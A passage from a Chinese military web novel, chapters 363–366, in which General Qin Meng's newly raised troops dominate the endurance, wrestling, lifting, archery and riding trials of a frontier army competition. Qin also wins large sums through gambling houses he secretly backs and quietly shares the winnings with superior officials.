骑兵挥出雪亮**斜指天际,成森冷刀林;步兵顿盾砸枪,巨响统一呐喊着,向前推进。
所有士卒齐刷刷扭头,目光如炬,聚焦点将台!
“见过吴大帅,见过诸位大人!”
百余人踏步动作如出一辙,呼喊声更是整齐响彻。
那凝聚如一、磅礴威严的气势,瞬间压过全场喧嚣!包括赵起也转过头,凝视着这两支队伍。
秦猛瞥了眼吴振这个草包还在发愣,示意**跑到台前,向校场挥手:“将士们辛苦了!”
“不幸苦!”校场上,又是齐声呼喊。
“将军说了,你们是好样的,加油!”
“为朝廷效力,戍卫边疆杀鞑虏,保家卫国!”整齐划一的声浪一浪高过一浪,响彻整个营地。
后面的动静让前方的队伍纷纷转头,尤其是距离最近的豹韬军,有人停下来,相互碰撞,有的马儿不受控制,蹦了出去,队形散乱。
从台上往下看,场面混乱,尽显拉胯本色。唯独飞虎卫几支队伍几乎不受影响,继续推进。这对比之下,引得周围兵卒们哄笑声不断。
点将台上变得寂静,所有高官显贵目光被牢牢吸住,不少人下意识坐直身体,眼中满是震惊、审视,甚至忌惮。
“这…,这是赵将军麾下哪位将领带来的兵?竟有如此气象?”一位边军主将声音凝重。
“**是不是眼瞎?”**很想上前给他几个大嘴巴子,他挥手高呼,这么大人看不见?
好在,王善扯住兄弟,那主将身边知情者低声答:“非赵将军直系,乃末席安北将军秦猛部下!”
“什么?秦将军的手下?”
“啊?是那个成军半年的铁血军寨?”
寂静过后,台上顿时一片压抑不住的低声哗然。赵起,及他身后赵平,王魁等人也有些错愕。只因为秦猛麾下来训练时没有这么训练过。
这是自然的,秦猛比谁都清楚,教会徒弟饿死师傅这个道理,练兵方面上,不可能什么都教。而这个踏正步,行礼呐喊就是为此时准备。
这时,秦猛亲兵营正将王善,指着校场方向,适时对台上众人解释道:“看见那骑兵领头的乃是虎贲军飞虎卫,陷阵营,正将张富贵。
去年冷艳山保卫战,就是他带百来个兄弟,顶住了一千多**两天两夜的猛攻,并活捉首脑。
去岁开始,多次与契丹,女真作战,打死他们什么千夫长、大当户、百夫长,军官不下十人。副将林怒,也是武艺高强,骁勇善战的猛士……”
另一边,牛五也憨声接口,却语出惊人:“后面步兵是勇将鲁,他更猛,曾经单手拽住惊马!阵前活捉过契丹酋摔亲兵副统领巴蒂尔,还砍了女真氏族头人、大小当户的脑袋……”
“边上刘铁柱是神射营正将,不仅曾射杀过敌人两三百。而且骁勇善战,步兵也是极为了得……”
这些话飘进周围人耳中,更是如投石入湖泊,激起了层层涟漪。半年成军,竟有如此军容,麾下还有这等屡经恶战、斩将夺旗的猛士?
这秦猛,他为何有如此好运?
突然,豹韬军主将**仁看着己方队伍被影响拉胯的样子,脸色铁青一片,阴阳怪气的指责:“哼,入场大呼小叫,又是成何体统?”
“哪条规矩说了,入场受检阅的队伍不能说话?”秦猛听了皱起眉头,斜眼看来,反唇相讥,
“杨将军麾下精锐队形走得不错,但好奇心很重。后面才有一点动静,就纷纷驻足,回头观望。咱这是赛场,不是菜市场,看什么热闹?”
“哈哈哈……”与秦猛相识的侯永,陈雷等将领哄笑。**仁脸色潮红,指着秦猛半天说不出话来。
听到争吵,吴振终于回过神来,露出畅快的笑容:“哈哈哈,好,早听说,秦将军擅长练兵。
今日一见,果然了得。仅仅半年光景,就能练出如此军队,乃我北疆军之福,乃朝廷之幸。”
吴振望着校场上整齐推进的飞虎卫,对秦猛不吝啬夸奖言语,他不忘得意的瞟了一眼孙焕。似乎是在说“看到了吧,你有啥好得意的”。
两个帅司是同级,帅臣之间没有仇怨,但这种麾下军队表现优异与否,也是种**资本。尤其是压过对手一头,那种舒爽感是难以言喻。
“哼,队列好看有啥用?短短半年,还需要真正比较才能分出高
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下。”孙焕被吴振那挑衅的眼神搞得心头窝火,脸色阴沉下来,恶狠狠地说。
而秦猛本人,谢过吴振夸赞后,依旧安然坐于末席,面色平静,仿佛一切与己无关。唯有垂下的眼帘后,一丝锐利光芒一闪而过。
大比正式开始之初,铁血军寨已先声夺人!
无形的硝烟,愈发浓烈。
安北将军秦猛之名,深刻烙印于每位大人物心中。
……
各军队伍亮相完毕,肃立在校场四周。
点将台上,一名军法官上前,朗声宣布大比第二关。
——军队根基士兵耐力较量开始。此关最为基础,也最为残酷,旨在筛选出真正的精锐。
第一轮:负重急行军
百余支参赛队伍,按之前入场顺序的倒序依次出发。
每名士卒需背负五十斤的甲胄行囊等,在半个时辰内,急行军十五里。相比往年,难度又增加。
各军参战队伍一阵骚乱、抱怨。却不得不排队上前,把准备好的背囊递上去,交给专人称重。
唯独虎贲军飞虎卫几支队伍不慌不忙。因为那是冬季,他们按照这种强度训练,负重奔跑。在充足的肉食供应下,对这体能测试有信心。
尤其是秦猛麾下百余人。**,牛五,伯恩等将领都被打发下去,领队身先士卒c做表率。
这种急行军与铁血军寨赛事差不多。
巨大的校场被规划出环形路线,外围有栅栏挡着。四周有各军派出的联合裁判队伍监督记录,并有医护兵待命,随时准备抢救脱力者。
“入场,开始!”
随着发令旗挥动,一支支队伍依次入场冲出。背负重物长距离奔跑,极其考验士卒的体能和毅力。
不是每支边军都如同铁血军寨那般,士兵顿顿吃肉。许多营将士勉强吃饱,来维持训练。至于负重长跑这种高强度训练那是甭想了。
路程才只有三分之一,已有体质稍逊者脸色煞白,逐渐掉队。直至步伐踉跄,气喘如牛,甚至有人口吐白沫栽倒在地,被迅速抬下场。
校场周围,各军未参赛的士卒们呐喊,为自家队伍助威声,谁谁加油的呼喊声震天动地。
秦猛麾下的陷阵营和卫戍营在靠后的批次出发。
连同大块头乌维在内,他们并未一开始就冲刺,而是保持着一种均匀而高效的节奏,呼吸绵长,步伐稳健,显示出极其科学的训练成果。
反观一些前期冲得太猛的队伍,后程明显乏力。尤其是豹韬军的部分队伍,已是溃不成军,士卒掉队严重。
最终,第一轮急行军结束后,超过七成的人因超时或脱力被淘汰,场中只剩下一千多人。
这其中,镇北军、龙骧军、虎贲军等传统强军留存率最高,豹韬军毫无悬念的再次垫底。
但令人侧目的是,秦猛麾下两支队伍,竟没人掉队,全员完成急行军,有超过八成五的人成功在规定时间内到达终点,且状态相对完好。
第364章 木虎砺刃,劲旅争锋
第二轮:勇技搏虎,木虎试力
此轮名为“搏虎”,并非与真兽或机关兽搏斗,而是考核士卒对阵特制木虎的徒手格斗能力。
校场一侧,数十具造型威猛的“木虎”森然排列。
此物以整根硬木雕成蹲伏猛虎之形,虎颈处横贯铁轴,底座深埋固定,内置简易簧杆,使其被摔倒后能迅速回弹复位,俨然不倒的摔跤桩。
虎身关键部位缠绕麻绳、包裹熟皮,既是打击点,亦防木刺伤手。
军法官朗声宣布规则:士卒需在半刻钟内,运用拳、脚、摔、绊等技巧,连续将木虎击倒或摔翻。
以有效击倒次数、动作勇猛规范程度,乃至能否短暂“制服”(不木虎,即抑制其回弹来评分。
击倒记下等,摔翻中等,制服是上等。
这种木虎需要200斤左右的力量爆发,才能击倒。摔翻或者制服难度更高,需要力量更大。
这既考力,更考技巧、耐力与面对“猛兽”回扑之势的胆魄,是边军大比必考的项目之一。
鼓声响起,考核开始!
场中百态,军队基础扎实与否,在此刻展现。
镇北军的悍卒率先登场,他们常年在漠北搏杀,风格悍勇直接。多采用猛冲猛打的策略,凭借一股血勇之气和强健体魄,往往三五下重击便能将木虎放倒,虽技巧稍显朴拙,但效率不俗,引得场边同为镇北军的士卒轰然叫好。
龙骧军的士卒则显得更为矫健,尤其骑兵出身者,步伐灵活,善于利用木虎回弹的间隙,以巧劲侧踢或绊摔,动作带着骑术训练的痕迹,显得游刃有余。
熊罴军的壮汉们一出场,便引来阵阵惊呼。这些平均身高近两米的巨汉,简直就是木虎的“天敌”。
他们往往不追求技巧,而是凭借绝对的力量碾压!
但见熊罴军一名都尉,走到木虎前,扎稳马步,双臂一环抱住虎身,吐气开声,“起!”竟硬生生将沉重的木虎拦腰抱起,重重摔在地上,那木虎回弹都显得无力了许多。
类似场景屡见不鲜,熊罴军士或抱摔、或猛踹,力量感十足,成绩斐然,周围观战士兵欢呼雷动。
点将台上,不少将领也纷纷颔首,对熊罴军的表现表示赞赏:“好,真勇士也!不愧熊罴之名!”、“有此猛士,何愁边关不固?
幽并帅司吴振大帅因熊罴军的出色表现而笑逐颜开,与身旁的周廷、李福等京官谈笑风生,颇觉脸上有光。
校场上的考核仍在继续。
紧接着,上场的是鹰扬军。此军虽擅长骑射,以射术冠绝边军,但军中亦不乏近战悍卒。
他们的表现虽不似熊罴军那般以力压人,却也沉稳扎实。
士卒们多采用稳健的策略,看准木虎回弹的轨迹,以精准的重拳或凌厉的踢击攻其要害,力求一击奏效。
虽无太多花哨技巧,但动作干脆利落,显示出良好的身体控制和判断力,成绩均在中等偏上。
随后登场的豹韬军,则明显感受到了压力。作为常年垫底的军队,他们此番派出的已是军中精锐。
这些士卒深知表现机会难得,又想挽回些许颜面。个个憋足了劲头,表现甚至可称顽强。
技巧虽生疏却凭一股血勇与木虎缠斗;有人则显得较为谨慎,多以游斗闪避为主,寻找机会。
表现虽有亮点,但整体上,或因训练不足,或因心绪紧张,失误颇多,或被木虎“撞”得踉跄,或久攻不下超时,淘汰率明显高于前几支军队。
豹韬军主将**仁在看台上,脸色已是越来越难看。
边军早就见怪不怪,故而压轴登场的,是虎贲军,各队依次参赛,作为能与镇北、龙骧掰手腕的强军,他们的表现立刻吸引了全场目光。
赵起将军麾下果然悍勇辈出,士卒们气势沉凝,上场后毫不拖泥带水。
但见一名彪形大汉,暴喝一声,侧身让过木虎回弹之势,双臂如铁钳般锁住虎颈,腰腹发力,一个干净利落的过肩摔,“轰”地将木虎砸倒在地,动作一气呵成。
更有技巧精湛者,利用木虎回弹的力道,借力打力,或脚下一绊,或肩背一靠,便能将木虎轻松放倒,甚至能连续数次将其死死压制,令其难以有效回弹,引得周围阵阵喝彩。
虎贲军的整体表现,在勇猛之余更显章法,与龙骧军在伯仲之间,充分展示了其作为北疆强军的实力。
就在众人以为此番“搏虎”较量,将在熊罴军的绝对力量与虎贲、龙骧等的综合勇武之间决出高下时,轮到了秦猛麾下的陷阵营与卫戍营上场。
他们的表现,瞬间改变了全场的焦点和评判标准。
鲁真大步出列,面对刚刚回弹立起的木虎,他不闪不避,更不待其势老,一个迅猛的贴身靠撞,肩、肘、腰、胯发力浑然一体,如攻城槌般正中“虎腹”。
只听“砰”一声闷响,木虎应声而倒,其回弹之势竟被他紧随而至的一脚精准踩住底部枢纽,瞬间“制服”,动弹不得。
整个过程不过呼吸之间,一气呵成,干净利落,力量与技巧完美结合,仿佛演练过千百遍。
林怒则展示了另一种风格。
他步伐迅捷如豹,绕木虎游走,双拳如雨点般密集击打在虎头、颈侧等模拟要害部位,发出连贯的“咚咚”巨响。
木虎剧烈摇晃,重心失衡,难以有效回弹复位,最终被他看准时机,一个低扫腿精准绊摔在地。
牛五、**等人亦各展所长,或施展娴熟的摔跤技法,借力打力,四两拨千斤;
或使用经过严苛训练的拳腿组合,打击点精准,发力高效。
他们的动作不
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仅力量十足,更透着一股明显的、迥异于寻常军中野路子的、系统化的技击章法,高效而致命。
与之前各军或凭血勇、或靠蛮力、或依经验的打法相比,秦猛麾下士卒展现出的是一种近乎“专业化”的格斗,
扭腰摆胯、发力出手的招式和动作都极为相似,每一次击倒都显得游刃有余,效率极高,仿佛对这木虎的每一个“变化”都了如指掌。
而最后一个上场的乌维,更是成为了压轴的高潮。
这山蛮壮汉本就宽人一背,高人一头,鹤立鸡群,一经出场,便引来台上台下一片惊呼。
他竟不满足于单一木虎,低吼一声,双臂左右开弓,拳打脚踢,同时攻击身旁两具木虎!
那势大力沉的拳脚攻击,打得木虎左右剧烈摇摆,回弹机制几乎失效,最终被他如蛮熊般一手一个重重摁倒在地,半晌,无法立起!
记录分数的考官都瞠目结舌,忘记了如何记录。
“好家伙!这是……山蛮的勇士!”点将台上,熊罴军主将猛地瞪圆了眼睛,忍不住低呼出声。
他麾下也有几十名费尽心思招揽来的山蛮士兵,个个都是军中的王牌战将,深知其勇悍。
此刻见秦猛麾下竟也有此等壮士,且似乎训练得更加有素,眼中不禁流露出难以置信和一丝炽热。
这番景象,引得点将台上真正懂行的将领们纷纷侧目,眼中没有了那种轻蔑,也不再是单纯的赞赏,而是充满了惊讶、审视与深思。
秦猛部下展现出的,除了个别人的骁勇外,更多的是一种整体性的、训练有素的强大战斗力。
就连原本因熊罴军表现而笑容满面的吴振大帅,此刻心情更加愉悦,笑得见牙不见眼,连连称赞“好好好”,更加专注地投向下方的校场。
而雍凉帅司孙焕的脸色则更加阴沉,他麾下不是没有猛士,但像这般成建制、展现出系统化训练成果的“勇武”却让他感到了实实在在的压力。
“搏虎”一关,秦猛麾下以令人瞠目的方式,宣告了他们的到来,却无人猜测得到这些人是秦猛手把手教导出来,近身格斗摔跤是强项。
经过第二轮淘汰,还剩下六百多人。
第三轮:举重、射箭、骑术,此轮为综合考评,不偏袒任何队伍,剩下的人需依次完成。
举重:举起不同重量的石锁,根据重量和完成姿态评分。如举起四百斤及以上,坚持三息,为上等。三百斤重中等,两百斤下等。
射箭:固定靶与移动靶结合,考核精准与速射。
骑术:驾驭战马越过障碍、在规定场地内完成绕桩、弯弓搭箭等规定动作,考核控马能力。
举重、射箭、骑术有基本要求,达不到淘汰。
三项成绩综合,选取总分前一百名进入下一轮。
第365章 校场沸,赌坊哀
校场之上,气氛凝重。经过两轮淘汰,剩下的六百多名军士皆是各军精锐,此刻正按序列队,迎接最为考验个人武勇与军事素养的综合考评。
第三轮,为综合考评——举重、射箭、骑术!
每项有基本要求,达不到淘汰。
三项成绩综合,选取总分前一百名进入下一轮。
举重:
考核从举重开始。场地一侧,从两百斤到五百斤不等的石锁一字排开,更有一尊六百六十斤的镇场巨锁立于中央,象征着力量的巅峰。
举起不同重量的石锁,根据重量和完成姿态评分。
如双手把石锁提离地面一尺以上,接着继续上举,直到“举过头顶”才算完成;只有“拎离地面”而没举顶,只能算部分完成,有重来机会。
举起四百斤及以上,坚持三息为上等。三百斤重中等,两百斤下等,再往下,就是不达标。
举重,素来是熊罴军的强项。
这群壮汉们率先出场,他们个个膀大腰圆,声如洪钟。
其中一人爆喝一声,轻松举起三百斤石锁,身形稳如磐石,坚持了三息以上,引来一片喝彩。
更有甚者,尝试四百斤石锁,虽面红耳赤,却也勉强成功,展现了熊罴军冠绝边军的恐怖力量。
镇北军、龙骧军、鹰扬军等队伍先**场。
士卒经过长期训练,举起两百斤的石锁并不困难。可想要取得中等以上的好成绩,十不存一。
然而,真正的高潮属于秦猛麾下。
当身材敦实如铁塔般的鲁真出场时,他并未在四百斤、五百斤处停留,而是径直走向了那尊六百斤石锁!
只见他沉腰坐马,双臂较力,爆喝一声“起!”。
那庞然大物竟应声离地,被他稳稳举过头顶,随后又把石锁抛动了几下,可见力量之强。
场边惊呼未落,山蛮壮汉乌维更是面容沉静,竟单手挑战六百斤石锁成功,双臂千斤之力,不是吹牛,引得点将台上的将领们都为之动容。
秦猛麾下其他士卒,也大多在三百斤到四百斤之间表现出色,无一失手,展现了扎实的力量根基。
射箭:
箭靶场,固定靶与移动靶交错设立,各有三次机会。五十步,下等,百步,中等,百五十步,上等。
鹰扬军的射手们终于迎来了主场。
他们开弓如满月,箭去似流星,固定靶百步穿杨者比比皆是,就连快速移动的皮球靶,也多有十中七八的好手,箭术之精,令人叹服。
其他各军将士在这一轮表现中规中矩。竟他们都是长期训练,骑马射箭,是边军的基础本事。
秦猛麾下队伍多是新兵,但有基础,又是在袁飞、赤兀惕等神射手的严苛调教下,早已今非昔比。
他们或许姿态不如鹰扬军、镇北军等老牌射手那般优雅标准,却更显实战的凌厉与精准。
阮三、赤兀惕等神射手两百步开外,例无虚发。袁飞更是展示绝技,两百米,三箭连珠,箭箭命中不同方向的移动靶心,引得满场哗然。
普通士卒表现稳定,固定靶成绩优良,移动靶命中率也相当可观,整体水平处于中等偏上。
骑术:
骑术场地障碍重重,需驭马越壕、绕桩疾驰,并在奔驰中完成弯弓搭箭,向侧翼箭靶发箭。
这个骑射可就是神仙打架!
无论是镇北、龙骧,还是虎贲,鹰扬,又或是处于劣势的熊罴,豹韬两军,也不容小觑,
边军以骑射见长,其骑士人马合一,操控战马如臂使指,在障碍间穿梭自如,绕桩时几乎擦杆而过,展现了高超的控马技巧。
陷阵营,卫戍营两支队伍处于劣势,训练至今,骑马没有问题,乌维骑着牛出场,尽管台上众人看的是脸皮直抽搐,却也基本达标。
骑射环节,因为配备镫,能够轻松稳住战马,弯弓搭箭轻而易举。骑射方面,虽不及鹰扬军精锐这种专职射手,也能保证相当的命中率。
赵将军麾下飞虎卫在这块驾马,骑射本来只跟龙骧军在伯仲之间,不如鹰扬军,这回表现却更胜一筹,引得点将台上惊呼声此起彼伏。
秦猛看得分明,却笑而不语——赵起并没有把双马镫公布出去,多半就是为了此次大比。
可别小瞧这玩意,校场上,徐强、伯恩等人一马当先。他们的骑术带着明显的边军实用风格,迅猛而高效。
战马在他们驾驭下奔腾如雷,越过障碍时毫不犹豫,绕桩跑出了惊人的速度。
更令人侧目的是,他们的骑射水平普遍高于其他以骑术见长的军队,虽不及袁飞等顶尖神射,但驰射之精准、果断,远超普通骑兵,显然是将骑术与射箭进行了完美的结合训练。
……
当第二关三轮结束后,评分汇总,最终前一百名的名单及所属军队公布时,点将台上一片哗然!
虎贲军,尤其是飞虎卫及秦猛所部,如异军突起,彻底打破了往年格局。
往年此时,通常是镇北军独占鳌头,占据三十个以上名额,龙骧军、虎贲军紧随其后,熊罴军、鹰扬军争夺第四第五名,豹韬军垫底。
然而,今年榜单却令**跌眼镜:
虎贲军:四十人(其中,秦猛麾下陷阵营、卫戍营合计:十九人!)
镇北军:二十二人(屈居第二)
龙骧军:十五
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人
熊罴军:十二人
鹰扬军:九人
豹韬军:两人
……
“哗!”
倒抽凉气的声音在点将台上此起彼伏。所有人的目光,不由自主地聚焦到了末席那位安北将军秦猛的身上!
一个成军半年的军寨,竟在最为考验根基的体能关上,几乎占据了前五成的名额?快要赶得上镇北军全军名额,这简直是骇人听闻!
枢密副使周廷、兵部侍郎李福率先反应过来,纷纷向帅司吴振和赵起道贺:“恭喜吴大帅,恭喜赵将军!虎贲军有此虎贲之士,真乃北疆之幸!”
吴振笑得合不拢嘴,得意地瞟向对面脸色铁青的雍凉帅司孙焕。
孙焕麾下的镇北、龙骧等军,加起来才四十人,与虎贲军持平,这让他颜面尽失,再也不敢嘚瑟。
然而,心情最恶劣的莫过于豹韬军主将**仁,往年好歹能有七八人入选,今年竟只有两人。
两个独苗,这简直丢人丢到了姥姥家。承受着四周投来的鄙夷目光,他恨不得找个地缝钻进去。
而处于风暴眼的秦猛,却依旧如老僧入定,面色平静,仿佛这惊人的成绩与他无关,唯有指尖在扶手上无意识地轻轻敲击,显露出内心的波澜。
^_^
就在点将台上众人因榜单巨变而心思浮动之际,军营外临时集市赌场相关的区域也炸开了锅。
当“虎贲军四十人入选,其中秦猛所部独占十九人,综合考评力压镇北军”的最终结果如同长了翅膀般传开时,那些大大小小、明里暗里的赌坊内外,瞬间哀鸿遍野。
无数押了镇北军夺魁,或是认为秦猛所部不过是昙花一现的赌徒,如遭雷击。
有人捶胸顿足,不敢相信自己的耳朵;有人看着手中作废的赌票,嚎啕痛哭,悔恨的泪水混着酒气,空气中弥漫着绝望与懊丧的气息。
他们中有想趁机捞一笔的商贾,有凑份子下注的普通兵卒,也有本地盼着一夜暴富的闲汉,此刻无不痛心疾首,错失了这看似“明摆着”的冷门暴富机会。
然而,与这片愁云惨淡形成鲜明对比的,是石地虎及其手下咧嘴而笑,压抑不住的兴奋。
他们早已奉命而动,携带着秦猛暗中支持的大笔银钱,化整为零,分散押注于多个看似不起眼、实则由石地虎暗中控制或联系好的盘口。
这些盘口为吸引资金,为秦猛所部开出的赔率极高,团体名次相关赔率普遍在一比五以上,某些小盘口为了搞噱头,甚至达到了一比七!
结果公布,这消息得到证实!石地虎等人手中几个盘口的赌筹,瞬间变成了点石成金的凭证。
第366章 赌坊敛财,官场分利
市井之间,多有“十赌九诈”的流言!
你输钱可以,赢钱就是不行,或耍赖,或有麻烦。
当石地虎带着人,拿着十多根中筹前往各大赌坊兑换时,巨大的赔付金额让一些盘口的幕后老板脸都绿了,掏出大笔金银,非常肉痛。
有人不想把事情闹大,捏着鼻子认赔杀出,有人却耍起小心思试图耍赖,或以“核算筹注”、“盘口有误”、“需重新核算”为由拖延赔付。
但石地虎早有准备。
面对企图赖账者,他脸色一沉,并不多言,只是使个眼色,身后便**数十名眼神锐利的军汉。
——这些是秦猛特意从临时营地那边调来的精锐,住在临时集市,拨给石地虎临时撑场面。
他们虽未着全副甲胄,但那股从尸山血海中磨砺出的煞气,以及腰间明晃晃的制式**,足以形成强大的威慑。
“怎么,开门设赌,赢了笑嘻嘻,输了就想不认?”
石地虎声音不大,却带着寒意,“咱们是按规矩办事,若是有人想坏了规矩,想耍赖,嘿嘿……”
他冷笑两声,目光扫过那些面色变幻的赌坊管事及打手。话没说完,但后面数十个汉子上前,手按住刀柄,动作整齐划一,杀气腾腾。
在绝对的实力和强硬的态度面前,任何小心思都显得苍白无力,与谁谁谁有关系都没用,地方官府,豹韬军等不好使,就得按规矩赔钱。
试图赖账者最终在冷汗涔涔中妥协,眼睁睁看着一箱箱银钱、一张张银票被石地虎笑纳收走!
这一夜,数额巨大的金银如同百川归海,悄无声息却又势不可挡地流入了秦猛的口袋里。抛却万两银子的本金,利润足有十倍之余。
为他接下来扩军、练兵、打造军械提供了至关重要的财力支持。
这场赌局风波,不仅让秦猛所部在军威上声名大噪,更在暗处完成了一次漂亮的财富积累。
赛场军营的临时驻地,在夜幕降临时分变得格外热闹。
冀州地方官府抠门得紧,未提供肉食,但秦猛早就有所准备,韩勇带着人手从临时集市置办了大量的酒肉送入营中。
加之两大帅司的犒赏也已陆续送达,使得各营地都飘起了诱人的酒肉香气,冲淡了白日比武的紧张与疲惫。
秦猛深知恩威并施的道理,今日取得佳绩,正当犒劳。他破例允许士卒少量饮酒,以示庆贺。
营地内篝火点点,欢声笑语,士气高昂。
就在这喧闹之中,赵起以巡视名义找到了秦猛,将他拉到一旁,压低声音,脸上带着似笑非笑的神情:“营地外面那猛虎堂赌盘的事儿,闹得沸沸扬扬,是你小子搞出来的动静吧?”
秦猛见瞒不过,也就坦然承认,嘿嘿一笑:“是我开设,果真什么事都瞒不过将军法眼。”
说完,他极为自然地从怀中掏出一叠早就备好的银票,迅速塞到赵起手中,“将军,这里有万两银票,属下这次侥幸,赚了七八万两。
这些就当是属下的一点心意,任凭将军处置,或充作军资,或给家里添置些产业,都行。”
赵起捏着厚厚一叠银票,沉默了片刻。火光下,他刚毅的脸上表情有些复杂,但最终还是将银票揣入了怀中,语气严肃地叮嘱道:
“你呀……胆子不小。赢钱是好事,但赢太多容易惹来众怒,尤其是动了某些人的奶酪。适可而止,后面收敛些。”
他顿了顿,声音压得更低,隐晦地提点道:“吴大帅、周廷、李福那几位,嗅觉灵得很,恐怕也已经悄悄下了注,或者注意到了你。
你如今位置不同往日,有些关系,该打点的还是要打点一下,花点身外之物,堵住那些可能找麻烦的嘴,省得日后麻烦不断,徒生枝节。”
“将军放心,我明白其中的分寸。”秦猛认真点头。他深知赵起这是为自己考虑,官场上的规矩,加上人言可畏,有时候比战场还复杂。
送走赵起后,秦猛立刻找来了心腹王善和**,将另一叠共计一万多两的银票交给他们。
“大人,这是?”**忍不住问。
秦猛低声吩咐:“趁夜,你们分别去吴大帅营地、京官周廷、李福,还有雍凉帅司孙焕的住处。”
“为什么把钱送出……”**不懂就问。
“你哪来的废话?”王善眼睛一瞪,喝斥道:“大人怎么说,咱们就怎么做,有些事你别多问。”
“哎,人在官场,身不由己。”秦猛拍拍**的肩膀:“现在我成了安北将军,权贵终究要结交。”
“你们去了,就说是我秦猛的一点心意,感谢他们平日里的关照,务必做得隐秘些,态度要恭敬。”
“得令!”王善、**领命,他们都是机灵人,深知此中关窍,当即悄无声息地融入了夜色之中。
秦猛看着他们离去,心中暗忖:以前有赵起顶在前面,他接触不到,可以不太在意这些文官体系。
但如今自己独当一面,身处这个漩涡,深切体会到这些掌握权柄的文官绝非善与之辈。与其等他们找茬,不如主动用金银财帛来拉拢维系,虽然无奈,却是眼下最有效的方法。
在他看来,但凡能用钱解决的问题,就都不是问题。
处理完这些“人情世故”,秦猛也不忘奖励麾下。下令将白日里参赛的两支队伍全部召集起来。
当着全体将士的面,他亲自宣布:人人赏赐二十两白银!
这在边军士卒眼中,已是一笔不小的横财。顿时引来一片欢呼。
而那些表现尤为突出的,以及在各单项比赛中取得前三名的,赏赐更是丰厚:单项头名三百两,次名一百五十两,第三名也有一百两银票。
真金白银拿到手,士卒们的眼睛都亮了,尤其是伯恩等狼戎勇士,紧紧攥着银票,激动得脸色潮红,纷纷握拳发誓,明日定要更加拼命,为将军争光,也为这实实在在的赏赐!
秦勉励了众人几句,简单叮嘱了明日将参加个人赛第四轮
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的鲁真、林怒等骨干一些注意事项后,便让他们早早回营休息,养精蓄锐。
之后,他又与悄然返回的石地虎密谈了片刻,主要是关于后续赌盘的安排。
秦猛指示,将涉及他麾下单项的押注选项取消,并故意散播“有人针对,避免树大招风”等消息,但其他盘口照旧,只是需要调整赔率。
同时,依旧派人分散到其他赌坊,如果发现有虎贲军或他麾下相关的选项,一定要果断押宝。
“嘿嘿!”石地虎脸上露出狡黠而自信的笑容:“大人放心,这搏戏门道我还是很擅长的,我会悄悄地进行,保管让他们吃了亏还说不出口。”
说完,他便再次退入黑夜,嗖的一声,纵身飞上军帐,悄然离开营地,继续他的“敛财”大业。
次日,边军大比继续进行。
点将台上,气氛略显微妙。冀州刺史唐浩的脸色最为难看,阴沉得几乎能滴出水来。
营外多个赔率最高的赌盘,幕后都有他的影子,原本指望借此大捞一笔,却没料到秦猛麾下异军突起,结果爆冷,让他昨日不仅没赚到钱,反而赔进去一大笔,想想就肉痛不已。
他看到秦猛登上点将台,挤出一个皮笑肉不笑的表情,语带讥讽地说道:“秦将军,昨日可是风光无限啊,据说……在外面也赚了不少?”
秦猛打了个哈欠,一副为军务操劳过度的样子,敷衍地拱手道:“唐大人说笑了,不过是手下人胡闹罢了。
昨日我的确收到了一笔钱,但边塞戍堡修建,处处都要用钱,我那儿都快揭不开锅了,不想办法筹点银子,怎么对得起朝廷的信任?”
他三言两语,直接把话题引到了边塞艰苦和公务上。
这时,雍凉帅司孙焕率先开口,长吁短叹地帮腔:“秦猛也真不容易,年纪轻轻就要带兵驻扎在那等苦寒边陲,还要为钱粮军械发愁,我等在京畿腹地享福的同僚,理当多体谅、多支持才是。”
他这话,明显是收了银票后的表态。
帅司吴振立刻察觉到了气氛变化,也顺势接话,语气和蔼地表态:“秦猛啊,你的难处,帅司是知道的。
你放心,此次大比之后,帅司会综合考虑,往你安北防区多调拨些物资,并可酌情征调部分劳力协助修建工事。”
他昨夜收了厚礼,态度更加热切。
京官周廷和李福也捻须微笑,态度变得十分和善:“不错不错,秦将军为国戍边,劳苦功高。
待本官返回京城后,定会如实向朝廷禀明燕北军边陲防线的实际困难,争取更多支持。”
这几个官场老狐狸一改昨日或淡漠或隐隐针对的态度,纷纷出言为秦猛说话。
冀州刺史唐浩看在眼里,心中顿时明了:这秦猛赚的钱,恐怕是分出不少,喂饱了这几个人!
他孤掌难鸣,虽然心疼赔付的银子,却也不好再就此发难,只得冷哼一声,黑着脸坐下,内心仍在为那白花花的银子流失而阵阵绞痛。唐